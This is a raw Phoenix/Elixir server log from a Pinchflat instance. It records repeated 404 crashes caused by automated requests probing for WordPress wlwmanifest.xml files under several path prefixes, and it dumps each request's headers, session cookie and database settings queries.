tubedock.hartupee.com:80 (http) Request: GET //website/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /website/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7968.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//website/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47478}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7969.0>, params: %{}, path_info: ["website", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//website/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x6GEFIJ1-l4AAweB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7968.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//website/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47478}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /website/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7968.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//website/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47478}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFM (truncated) 11:19:19.014 [info] GET //wp/wp-includes/wlwmanifest.xml 11:19:19.015 [debug] QUERY OK source="settings" db=0.1ms idle=505.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:19.015 [debug] QUERY OK source="settings" db=0.0ms idle=336.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:19.015 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:19.015 [error] #PID<0.7971.0> running PinchflatWeb.Endpoint (connection #PID<0.7970.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //wp/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7970.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47480}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7971.0>, params: %{}, path_info: ["wp", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//wp/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x6uGRr2NG-gAADaD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7970.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47480}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7970.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47480}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAA (truncated) 11:19:19.182 [info] GET //news/wp-includes/wlwmanifest.xml 11:19:19.182 [debug] QUERY OK source="settings" db=0.1ms idle=504.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:19.182 [debug] QUERY OK source="settings" db=0.0ms idle=335.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:19.182 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:19.183 [error] #PID<0.7973.0> running PinchflatWeb.Endpoint (connection #PID<0.7972.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //news/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /news/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7972.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//news/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47486}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7973.0>, params: %{}, path_info: ["news", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//news/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x7WFFyblqVgAADbD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7972.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//news/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47486}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /news/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7972.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//news/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47486}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3N (truncated) 11:19:19.353 [info] GET //2018/wp-includes/wlwmanifest.xml 11:19:19.353 [debug] QUERY OK source="settings" db=0.1ms idle=338.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:19.354 [debug] QUERY OK source="settings" db=0.0ms idle=338.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:19.354 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:19.354 [error] #PID<0.7975.0> running PinchflatWeb.Endpoint (connection #PID<0.7974.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //2018/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /2018/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7974.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//2018/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47490}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7975.0>, params: %{}, path_info: ["2018", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//2018/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x7-2EH7UPFcAAwfB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, 